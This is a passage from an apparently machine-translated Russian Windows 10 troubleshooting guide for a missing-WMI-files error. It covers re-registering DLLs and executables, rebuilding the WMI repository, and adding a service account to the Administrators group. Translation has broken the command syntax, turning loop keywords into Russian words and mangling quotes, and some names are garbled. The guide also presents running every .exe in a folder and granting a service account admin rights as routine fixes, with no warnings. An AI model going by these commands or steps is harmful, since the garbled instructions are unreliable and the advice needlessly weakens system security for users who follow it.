Введите ‘для% i в (* .dll) do regsvr32 -s% i’ в окне подсказки и нажмите клавишу возврата.
Затем введите «для% i in (* .exe) do% i/regserver» в командной строке и нажмите кнопку «Ввод».
Закройте командную строку и выберите Перезагрузить в меню «Пуск», чтобы перезагрузить Windows.

– СВЯЗАН: исправление ошибки интерфейса Intel Engine Engine для Windows 10

4. Восстановите репозиторий WMI.

Ошибка WMI может быть связана с поврежденной папкой репозитория WMI. Таким образом, перестройка репозитория WMI может также исправить ошибку инструментария управления Windows. Вот как вы можете перестроить хранилище WMI.

Откройте Командную строку от имени администратора, выбрав Командная строка (Администратор) в меню Win + X.
Введите «net stop winmgmt» в приглашении и нажмите клавишу ввода.
Нажмите сочетание клавиш Windows + R.
Введите «System32» в «Выполнить» и нажмите кнопку ОК .

Затем откройте подпапку wbem, которая находится в папке System32.
Нажмите правой кнопкой мыши папку Repository и выберите Переименовать .

Введите «Repository.old» в качестве заголовка новой папки.

Снова откройте командную строку.
Введите «net start winmgmt» и нажмите Enter.
Выберите Перезагрузить в меню «Пуск», чтобы перезагрузить Windows.

5. Добавить сервис в группу администраторов

Добавление службы в группу администраторов является еще одним исправлением ошибки « Файлы управления Windows перемещены или отсутствуют ». Это разрешение предоставит системе разрешения на доступ к предложениям WMI. Вы можете сделать это, открыв командную строку от имени администратора и введя в локальной строке «net localgroup« Administrators »« NT Authority Service »/ add».

Одно или несколько из этих разрешений, вероятно, исправят ошибку « Файлы управления Windows перемещены или отсутствуют », чтобы вы снова могли открыть Системную информацию. Помните, что существуют также многочисленные сторонние программы для получения информации о системе, которые предоставляют альтернативу окну «Информация о системе» в Windows 10. Это руководство по программному обеспечению содержит дополнительную информацию о некоторых из лучших сторонних системных утилит.

Источник